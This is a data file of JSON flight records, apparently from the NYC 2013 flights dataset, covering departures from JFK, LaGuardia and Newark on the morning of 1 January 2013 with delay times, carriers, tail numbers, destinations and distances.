-{"year":2013,"month":1,"day":1,"dep_time":623,"sched_dep_time":610,"dep_delay":13,"arr_time":920,"sched_arr_time":915,"arr_delay":5,"carrier":"AA","flight":1837,"tailnum":"N3EMAA","origin":"LGA","dest":"MIA","air_time":153,"distance":1096,"hour":6,"minute":10,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":623,"sched_dep_time":627,"dep_delay":-4,"arr_time":933,"sched_arr_time":932,"arr_delay":1,"carrier":"UA","flight":496,"tailnum":"N459UA","origin":"LGA","dest":"IAH","air_time":229,"distance":1416,"hour":6,"minute":27,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":624,"sched_dep_time":630,"dep_delay":-6,"arr_time":909,"sched_arr_time":840,"arr_delay":29,"carrier":"EV","flight":4626,"tailnum":"N11107","origin":"EWR","dest":"MSP","air_time":190,"distance":1008,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":624,"sched_dep_time":630,"dep_delay":-6,"arr_time":840,"sched_arr_time":830,"arr_delay":10,"carrier":"MQ","flight":4599,"tailnum":"N518MQ","origin":"LGA","dest":"MSP","air_time":166,"distance":1020,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":627,"sched_dep_time":630,"dep_delay":-3,"arr_time":1018,"sched_arr_time":1018,"arr_delay":0,"carrier":"US","flight":27,"tailnum":"N535UW","origin":"JFK","dest":"PHX","air_time":330,"distance":2153,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":628,"sched_dep_time":630,"dep_delay":-2,"arr_time":1137,"sched_arr_time":1140,"arr_delay":-3,"carrier":"AA","flight":413,"tailnum":"N3BAAA","origin":"JFK","dest":"SJU","air_time":192,"distance":1598,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":628,"sched_dep_time":630,"dep_delay":-2,"arr_time":1016,"sched_arr_time":947,"arr_delay":29,"carrier":"UA","flight":1665,"tailnum":"N33289","origin":"EWR","dest":"LAX","air_time":366,"distance":2454,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":629,"sched_dep_time":630,"dep_delay":-1,"arr_time":824,"sched_arr_time":810,"arr_delay":14,"carrier":"AA","flight":303,"tailnum":"N3CYAA","origin":"LGA","dest":"ORD","air_time":140,"distance":733,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":629,"sched_dep_time":630,"dep_delay":-1,"arr_time":721,"sched_arr_time":740,"arr_delay":-19,"carrier":"WN","flight":4646,"tailnum":"N273WN","origin":"LGA","dest":"BWI","air_time":40,"distance":185,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":629,"sched_dep_time":630,"dep_delay":-1,"arr_time":824,"sched_arr_time":833,"arr_delay":-9,"carrier":"US","flight":1019,"tailnum":"N426US","origin":"EWR","dest":"CLT","air_time":91,"distance":529,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":632,"sched_dep_time":608,"dep_delay":24,"arr_time":740,"sched_arr_time":728,"arr_delay":12,"carrier":"EV","flight":4144,"tailnum":"N13553","origin":"EWR","dest":"IAD","air_time":52,"distance":212,"hour":6,"minute":8,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":635,"sched_dep_time":635,"dep_delay":0,"arr_time":1028,"sched_arr_time":940,"arr_delay":48,"carrier":"AA","flight":711,"tailnum":"N3GKAA","origin":"LGA","dest":"DFW","air_time":248,"distance":1389,"hour":6,"minute":35,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":637,"sched_dep_time":645,"dep_delay":-8,"arr_time":930,"sched_arr_time":935,"arr_delay":-5,"carrier":"B6","flight":389,"tailnum":"N709JB","origin":"LGA","dest":"MCO","air_time":144,"distance":950,"hour":6,"minute":45,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":639,"sched_dep_time":640,"dep_delay":-1,"arr_time":739,"sched_arr_time":749,"arr_delay":-10,"carrier":"B6","flight":1002,"tailnum":"N805JB","origin":"JFK","dest":"BOS","air_time":41,"distance":187,"hour":6,"minute":40,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":643,"sched_dep_time":646,"dep_delay":-3,"arr_time":922,"sched_arr_time":940,"arr_delay":-18,"carrier":"UA","flight":556,"tailnum":"N497UA","origin":"EWR","dest":"PBI","air_time":146,"distance":1023,"hour":6,"minute":46,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":643,"sched_dep_time":645,"dep_delay":-2,"arr_time":837,"sched_arr_time":848,"arr_delay":-11,"carrier":"US","flight":926,"tailnum":"N178US","origin":"EWR","dest":"CLT","air_time":91,"distance":529,"hour":6,"minute":45,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":644,"sched_dep_time":636,"dep_delay":8,"arr_time":931,"sched_arr_time":940,"arr_delay":-9,"carrier":"UA","flight":1701,"tailnum":"N75435","origin":"EWR","dest":"FLL","air_time":151,"distance":1065,"hour":6,"minute":36,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":645,"sched_dep_time":647,"dep_delay":-2,"arr_time":815,"sched_arr_time":810,"arr_delay":5,"carrier":"B6","flight":102,"tailnum":"N796JB","origin":"JFK","dest":"BUF","air_time":63,"distance":301,"hour":6,"minute":47,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":646,"sched_dep_time":645,"dep_delay":1,"arr_time":910,"sched_arr_time":916,"arr_delay":-6,"carrier":"UA","flight":883,"tailnum":"N569UA","origin":"LGA","dest":"DEN","air_time":243,"distance":1620,"hour":6,"minute":45,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":646,"sched_dep_time":645,"dep_delay":1,"arr_time":1023,"sched_arr_time":1030,"arr_delay":-7,"carrier":"UA","flight":1496,"tailnum":"N38727","origin":"EWR","dest":"SNA","air_time":380,"distance":2434,"hour":6,"minute":45,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":651,"sched_dep_time":655,"dep_delay":-4,"arr_time":936,"sched_arr_time":942,"arr_delay":-6,"carrier":"B6","flight":203,"tailnum":"N558JB","origin":"JFK","dest":"LAS","air_time":323,"distance":2248,"hour":6,"minute":55,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":652,"sched_dep_time":655,"dep_delay":-3,"arr_time":932,"sched_arr_time":921,"arr_delay":11,"carrier":"B6","flight":117,"tailnum":"N178JB","origin":"JFK","dest":"MSY","air_time":191,"distance":1182,"hour":6,"minute":55,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":653,"sched_dep_time":700,"dep_delay":-7,"arr_time":936,"sched_arr_time":1009,"arr_delay":-33,"carrier":"DL","flight":1383,"tailnum":"N327NW","origin":"LGA","dest":"PBI","air_time":149,"distance":1035,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":655,"sched_dep_time":655,"dep_delay":0,"arr_time":1021,"sched_arr_time":1030,"arr_delay":-9,"carrier":"DL","flight":1415,"tailnum":"N3763D","origin":"JFK","dest":"SLC","air_time":294,"distance":1990,"hour":6,"minute":55,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":655,"sched_dep_time":700,"dep_delay":-5,"arr_time":1037,"sched_arr_time":1045,"arr_delay":-8,"carrier":"DL","flight":1865,"tailnum":"N705TW","origin":"JFK","dest":"SFO","air_time":362,"distance":2586,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":655,"sched_dep_time":700,"dep_delay":-5,"arr_time":1002,"sched_arr_time":1020,"arr_delay":-18,"carrier":"DL","flight":2003,"tailnum":"N997DL","origin":"LGA","dest":"MIA","air_time":161,"distance":1096,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":656,"sched_dep_time":700,"dep_delay":-4,"arr_time":854,"sched_arr_time":850,"arr_delay":4,"carrier":"AA","flight":305,"tailnum":"N4WNAA","origin":"LGA","dest":"ORD","air_time":143,"distance":733,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":656,"sched_dep_time":659,"dep_delay":-3,"arr_time":949,"sched_arr_time":959,"arr_delay":-10,"carrier":"AA","flight":1815,"tailnum":"N5FMAA","origin":"JFK","dest":"MCO","air_time":142,"distance":944,"hour":6,"minute":59,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":656,"sched_dep_time":705,"dep_delay":-9,"arr_time":1007,"sched_arr_time":940,"arr_delay":27,"carrier":"MQ","flight":4534,"tailnum":"N722MQ","origin":"LGA","dest":"XNA","air_time":233,"distance":1147,"hour":7,"minute":5,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":656,"sched_dep_time":700,"dep_delay":-4,"arr_time":948,"sched_arr_time":1011,"arr_delay":-23,"carrier":"UA","flight":1115,"tailnum":"N24212","origin":"EWR","dest":"TPA","air_time":156,"distance":997,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":657,"sched_dep_time":700,"dep_delay":-3,"arr_time":959,"sched_arr_time":1013,"arr_delay":-14,"carrier":"DL","flight":1879,"tailnum":"N318NB","origin":"LGA","dest":"FLL","air_time":164,"distance":1076,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":658,"sched_dep_time":700,"dep_delay":-2,"arr_time":944,"sched_arr_time":939,"arr_delay":5,"carrier":"DL","flight":1547,"tailnum":"N6703D","origin":"LGA","dest":"ATL","air_time":126,"distance":762,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":658,"sched_dep_time":700,"dep_delay":-2,"arr_time":1027,"sched_arr_time":1025,"arr_delay":2,"carrier":"VX","flight":399,"tailnum":"N627VA","origin":"JFK","dest":"LAX","air_time":361,"distance":2475,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":659,"sched_dep_time":700,"dep_delay":-1,"arr_time":1008,"sched_arr_time":1015,"arr_delay":-7,"carrier":"AA","flight":2279,"tailnum":"N3EKAA","origin":"LGA","dest":"MIA","air_time":159,"distance":1096,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":659,"sched_dep_time":700,"dep_delay":-1,"arr_time":1008,"sched_arr_time":1007,"arr_delay":1,"carrier":"B6","flight":981,"tailnum":"N646JB","origin":"JFK","dest":"FLL","air_time":156,"distance":1069,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":659,"sched_dep_time":705,"dep_delay":-6,"arr_time":907,"sched_arr_time":913,"arr_delay":-6,"carrier":"DL","flight":831,"tailnum":"N998DL","origin":"LGA","dest":"DTW","air_time":105,"distance":502,"hour":7,"minute":5,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":659,"sched_dep_time":700,"dep_delay":-1,"arr_time":959,"sched_arr_time":1008,"arr_delay":-9,"carrier":"UA","flight":960,"tailnum":"N838UA","origin":"EWR","dest":"RSW","air_time":164,"distance":1068,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":701,"sched_dep_time":700,"dep_delay":1,"arr_time":1123,"sched_arr_time":1154,"arr_delay":-31,"carrier":"UA","flight":1203,"tailnum":"N77296","origin":"EWR","dest":"SJU","air_time":188,"distance":1608,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":702,"sched_dep_time":700,"dep_delay":2,"arr_time":1058,"sched_arr_time":1014,"arr_delay":44,"carrier":"B6","flight":671,"tailnum":"N779JB","origin":"JFK","dest":"LAX","air_time":381,"distance":2475,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":709,"sched_dep_time":700,"dep_delay":9,"arr_time":852,"sched_arr_time":832,"arr_delay":20,"carrier":"UA","flight":1092,"tailnum":"N26226","origin":"LGA","dest":"ORD","air_time":135,"distance":733,"hour":7,"minute":0,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":711,"sched_dep_time":715,"dep_delay":-4,"arr_time":1151,"sched_arr_time":1206,"arr_delay":-15,"carrier":"B6","flight":715,"tailnum":"N651JB","origin":"JFK","dest":"SJU","air_time":190,"distance":1598,"hour":7,"minute":15,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":712,"sched_dep_time":715,"dep_delay":-3,"arr_time":1023,"sched_arr_time":1035,"arr_delay":-12,"carrier":"AA","flight":825,"tailnum":"N3ETAA","origin":"JFK","dest":"FLL","air_time":159,"distance":1069,"hour":7,"minute":15,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":715,"sched_dep_time":713,"dep_delay":2,"arr_time":911,"sched_arr_time":850,"arr_delay":21,"carrier":"UA","flight":544,"tailnum":"N841UA","origin":"EWR","dest":"ORD","air_time":156,"distance":719,"hour":7,"minute":13,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":717,"sched_dep_time":720,"dep_delay":-3,"arr_time":850,"sched_arr_time":840,"arr_delay":10,"carrier":"FL","flight":850,"tailnum":"N978AT","origin":"LGA","dest":"MKE","air_time":134,"distance":738,"hour":7,"minute":20,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":719,"sched_dep_time":721,"dep_delay":-2,"arr_time":1017,"sched_arr_time":1012,"arr_delay":5,"carrier":"B6","flight":987,"tailnum":"N562JB","origin":"JFK","dest":"MCO","air_time":147,"distance":944,"hour":7,"minute":21,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":723,"sched_dep_time":725,"dep_delay":-2,"arr_time":1013,"sched_arr_time":1017,"arr_delay":-4,"carrier":"UA","flight":962,"tailnum":"N514UA","origin":"EWR","dest":"PBI","air_time":153,"distance":1023,"hour":7,"minute":25,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":724,"sched_dep_time":730,"dep_delay":-6,"arr_time":1111,"sched_arr_time":1040,"arr_delay":31,"carrier":"AA","flight":715,"tailnum":"N541AA","origin":"LGA","dest":"DFW","air_time":254,"distance":1389,"hour":7,"minute":30,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":724,"sched_dep_time":725,"dep_delay":-1,"arr_time":1020,"sched_arr_time":1030,"arr_delay":-10,"carrier":"AS","flight":11,"tailnum":"N594AS","origin":"EWR","dest":"SEA","air_time":338,"distance":2402,"hour":7,"minute":25,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":725,"sched_dep_time":730,"dep_delay":-5,"arr_time":1052,"sched_arr_time":1040,"arr_delay":12,"carrier":"AA","flight":2083,"tailnum":"N4WRAA","origin":"EWR","dest":"DFW","air_time":238,"distance":1372,"hour":7,"minute":30,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":727,"sched_dep_time":730,"dep_delay":-3,"arr_time":959,"sched_arr_time":952,"arr_delay":7,"carrier":"UA","flight":1162,"tailnum":"N37462","origin":"EWR","dest":"DEN","air_time":254,"distance":1605,"hour":7,"minute":30,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":728,"sched_dep_time":732,"dep_delay":-4,"arr_time":1041,"sched_arr_time":1038,"arr_delay":3,"carrier":"UA","flight":473,"tailnum":"N488UA","origin":"LGA","dest":"IAH","air_time":238,"distance":1416,"hour":7,"minute":32,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":729,"sched_dep_time":730,"dep_delay":-1,"arr_time":1049,"sched_arr_time":1115,"arr_delay":-26,"carrier":"VX","flight":11,"tailnum":"N635VA","origin":"JFK","dest":"SFO","air_time":356,"distance":2586,"hour":7,"minute":30,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":732,"sched_dep_time":735,"dep_delay":-3,"arr_time":857,"sched_arr_time":858,"arr_delay":-1,"carrier":"B6","flight":20,"tailnum":"N304JB","origin":"JFK","dest":"ROC","air_time":64,"distance":264,"hour":7,"minute":35,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":732,"sched_dep_time":729,"dep_delay":3,"arr_time":1041,"sched_arr_time":1039,"arr_delay":2,"carrier":"B6","flight":1601,"tailnum":"N563JB","origin":"LGA","dest":"RSW","air_time":167,"distance":1080,"hour":7,"minute":29,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":732,"sched_dep_time":645,"dep_delay":47,"arr_time":1011,"sched_arr_time":941,"arr_delay":30,"carrier":"UA","flight":1111,"tailnum":"N37456","origin":"EWR","dest":"MCO","air_time":145,"distance":937,"hour":6,"minute":45,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":733,"sched_dep_time":736,"dep_delay":-3,"arr_time":854,"sched_arr_time":850,"arr_delay":4,"carrier":"B6","flight":44,"tailnum":"N552JB","origin":"JFK","dest":"SYR","air_time":54,"distance":209,"hour":7,"minute":36,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":734,"sched_dep_time":737,"dep_delay":-3,"arr_time":1047,"sched_arr_time":1113,"arr_delay":-26,"carrier":"B6","flight":643,"tailnum":"N625JB","origin":"JFK","dest":"SFO","air_time":350,"distance":2586,"hour":7,"minute":37,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":739,"sched_dep_time":745,"dep_delay":-6,"arr_time":918,"sched_arr_time":930,"arr_delay":-12,"carrier":"AA","flight":309,"tailnum":"N4WPAA","origin":"LGA","dest":"ORD","air_time":137,"distance":733,"hour":7,"minute":45,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":739,"sched_dep_time":739,"dep_delay":0,"arr_time":1104,"sched_arr_time":1038,"arr_delay":26,"carrier":"UA","flight":1479,"tailnum":"N37408","origin":"EWR","dest":"IAH","air_time":249,"distance":1400,"hour":7,"minute":39,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":741,"sched_dep_time":745,"dep_delay":-4,"arr_time":1038,"sched_arr_time":1036,"arr_delay":2,"carrier":"B6","flight":983,"tailnum":"N633JB","origin":"LGA","dest":"TPA","air_time":158,"distance":1010,"hour":7,"minute":45,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":743,"sched_dep_time":730,"dep_delay":13,"arr_time":1107,"sched_arr_time":1100,"arr_delay":7,"carrier":"AA","flight":33,"tailnum":"N338AA","origin":"JFK","dest":"LAX","air_time":358,"distance":2475,"hour":7,"minute":30,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":743,"sched_dep_time":749,"dep_delay":-6,"arr_time":1043,"sched_arr_time":1054,"arr_delay":-11,"carrier":"B6","flight":341,"tailnum":"N624JB","origin":"JFK","dest":"SRQ","air_time":164,"distance":1041,"hour":7,"minute":49,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":743,"sched_dep_time":730,"dep_delay":13,"arr_time":1059,"sched_arr_time":1056,"arr_delay":3,"carrier":"DL","flight":495,"tailnum":"N3760C","origin":"JFK","dest":"SEA","air_time":349,"distance":2422,"hour":7,"minute":30,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":745,"sched_dep_time":745,"dep_delay":0,"arr_time":1135,"sched_arr_time":1125,"arr_delay":10,"carrier":"AA","flight":59,"tailnum":"N336AA","origin":"JFK","dest":"SFO","air_time":378,"distance":2586,"hour":7,"minute":45,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":746,"sched_dep_time":746,"dep_delay":0,"arr_time":1119,"sched_arr_time":1129,"arr_delay":-10,"carrier":"UA","flight":1668,"tailnum":"N24224","origin":"EWR","dest":"SFO","air_time":373,"distance":2565,"hour":7,"minute":46,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":749,"sched_dep_time":710,"dep_delay":39,"arr_time":939,"sched_arr_time":850,"arr_delay":49,"carrier":"MQ","flight":3737,"tailnum":"N508MQ","origin":"EWR","dest":"ORD","air_time":148,"distance":719,"hour":7,"minute":10,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":752,"sched_dep_time":755,"dep_delay":-3,"arr_time":1041,"sched_arr_time":1059,"arr_delay":-18,"carrier":"DL","flight":2263,"tailnum":"N325US","origin":"LGA","dest":"MCO","air_time":140,"distance":950,"hour":7,"minute":55,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":752,"sched_dep_time":750,"dep_delay":2,"arr_time":1025,"sched_arr_time":1029,"arr_delay":-4,"carrier":"UA","flight":477,"tailnum":"N511UA","origin":"LGA","dest":"DEN","air_time":249,"distance":1620,"hour":7,"minute":50,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":752,"sched_dep_time":759,"dep_delay":-7,"arr_time":955,"sched_arr_time":959,"arr_delay":-4,"carrier":"US","flight":1733,"tailnum":"N543UW","origin":"LGA","dest":"CLT","air_time":96,"distance":544,"hour":7,"minute":59,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":753,"sched_dep_time":755,"dep_delay":-2,"arr_time":1056,"sched_arr_time":1110,"arr_delay":-14,"carrier":"AA","flight":2267,"tailnum":"N3HMAA","origin":"LGA","dest":"MIA","air_time":157,"distance":1096,"hour":7,"minute":55,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":754,"sched_dep_time":759,"dep_delay":-5,"arr_time":1039,"sched_arr_time":1041,"arr_delay":-2,"carrier":"DL","flight":2047,"tailnum":"N935DL","origin":"LGA","dest":"ATL","air_time":126,"distance":762,"hour":7,"minute":59,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":754,"sched_dep_time":755,"dep_delay":-1,"arr_time":1103,"sched_arr_time":1030,"arr_delay":33,"carrier":"WN","flight":733,"tailnum":"N789SW","origin":"LGA","dest":"DEN","air_time":279,"distance":1620,"hour":7,"minute":55,"time_hour":"2013-01-01 07:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":758,"sched_dep_time":800,"dep_delay":-2,"arr_time":1053,"sched_arr_time":1054,"arr_delay":-1,"carrier":"B6","flight":517,"tailnum":"N645JB","origin":"EWR","dest":"MCO","air_time":142,"distance":937,"hour":8,"minute":0,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":759,"sched_dep_time":800,"dep_delay":-1,"arr_time":1057,"sched_arr_time":1127,"arr_delay":-30,"carrier":"DL","flight":1843,"tailnum":"N955DL","origin":"JFK","dest":"MIA","air_time":158,"distance":1089,"hour":8,"minute":0,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":800,"sched_dep_time":800,"dep_delay":0,"arr_time":1022,"sched_arr_time":1014,"arr_delay":8,"carrier":"DL","flight":2119,"tailnum":"N317US","origin":"LGA","dest":"MSP","air_time":171,"distance":1020,"hour":8,"minute":0,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":800,"sched_dep_time":810,"dep_delay":-10,"arr_time":949,"sched_arr_time":955,"arr_delay":-6,"carrier":"MQ","flight":4406,"tailnum":"N828MQ","origin":"JFK","dest":"RDU","air_time":80,"distance":427,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":801,"sched_dep_time":805,"dep_delay":-4,"arr_time":900,"sched_arr_time":919,"arr_delay":-19,"carrier":"B6","flight":1172,"tailnum":"N206JB","origin":"EWR","dest":"BOS","air_time":38,"distance":200,"hour":8,"minute":5,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":803,"sched_dep_time":810,"dep_delay":-7,"arr_time":903,"sched_arr_time":925,"arr_delay":-22,"carrier":"AA","flight":1838,"tailnum":"N3GEAA","origin":"JFK","dest":"BOS","air_time":38,"distance":187,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":803,"sched_dep_time":800,"dep_delay":3,"arr_time":1132,"sched_arr_time":1144,"arr_delay":-12,"carrier":"UA","flight":223,"tailnum":"N510UA","origin":"JFK","dest":"SFO","air_time":369,"distance":2586,"hour":8,"minute":0,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":804,"sched_dep_time":810,"dep_delay":-6,"arr_time":1103,"sched_arr_time":1116,"arr_delay":-13,"carrier":"DL","flight":1959,"tailnum":"N947DL","origin":"JFK","dest":"MCO","air_time":147,"distance":944,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":805,"sched_dep_time":805,"dep_delay":0,"arr_time":1015,"sched_arr_time":1005,"arr_delay":10,"carrier":"B6","flight":219,"tailnum":"N273JB","origin":"JFK","dest":"CLT","air_time":98,"distance":541,"hour":8,"minute":5,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":805,"sched_dep_time":800,"dep_delay":5,"arr_time":1118,"sched_arr_time":1106,"arr_delay":12,"carrier":"B6","flight":3,"tailnum":"N570JB","origin":"JFK","dest":"FLL","air_time":165,"distance":1069,"hour":8,"minute":0,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":805,"sched_dep_time":815,"dep_delay":-10,"arr_time":1006,"sched_arr_time":1010,"arr_delay":-4,"carrier":"MQ","flight":4490,"tailnum":"N739MQ","origin":"LGA","dest":"CMH","air_time":101,"distance":479,"hour":8,"minute":15,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":807,"sched_dep_time":810,"dep_delay":-3,"arr_time":1043,"sched_arr_time":1043,"arr_delay":0,"carrier":"DL","flight":269,"tailnum":"N308DE","origin":"JFK","dest":"ATL","air_time":126,"distance":760,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":809,"sched_dep_time":815,"dep_delay":-6,"arr_time":1043,"sched_arr_time":1050,"arr_delay":-7,"carrier":"EV","flight":4388,"tailnum":"N14542","origin":"EWR","dest":"JAX","air_time":132,"distance":820,"hour":8,"minute":15,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":810,"sched_dep_time":810,"dep_delay":0,"arr_time":1048,"sched_arr_time":1037,"arr_delay":11,"carrier":"9E","flight":3538,"tailnum":"N915XJ","origin":"JFK","dest":"MSP","air_time":189,"distance":1029,"hour":8,"minute":10,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":810,"sched_dep_time":815,"dep_delay":-5,"arr_time":1100,"sched_arr_time":1128,"arr_delay":-28,"carrier":"DL","flight":2395,"tailnum":"N349NW","origin":"LGA","dest":"PBI","air_time":149,"distance":1035,"hour":8,"minute":15,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":811,"sched_dep_time":815,"dep_delay":-4,"arr_time":1006,"sched_arr_time":1032,"arr_delay":-26,"carrier":"EV","flight":4260,"tailnum":"N11193","origin":"EWR","dest":"CHS","air_time":101,"distance":628,"hour":8,"minute":15,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":811,"sched_dep_time":630,"dep_delay":101,"arr_time":1047,"sched_arr_time":830,"arr_delay":137,"carrier":"MQ","flight":4576,"tailnum":"N531MQ","origin":"LGA","dest":"CLT","air_time":118,"distance":544,"hour":6,"minute":30,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":811,"sched_dep_time":815,"dep_delay":-4,"arr_time":1026,"sched_arr_time":1016,"arr_delay":10,"carrier":"US","flight":675,"tailnum":"N654AW","origin":"EWR","dest":"CLT","air_time":96,"distance":529,"hour":8,"minute":15,"time_hour":"2013-01-01 08:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":812,"sched_dep_time":814,"dep_delay":-2,"arr_time":1040,"sched_arr_time":1017,"arr_delay":23,"carrier":"EV","flight":4537,"tailnum":"N17108","origin":"EWR","dest":"MEM","air_time":180,"distance":946,"hour":8,"minute":14,"time_hour":"2013-01-01 08:00:00"} 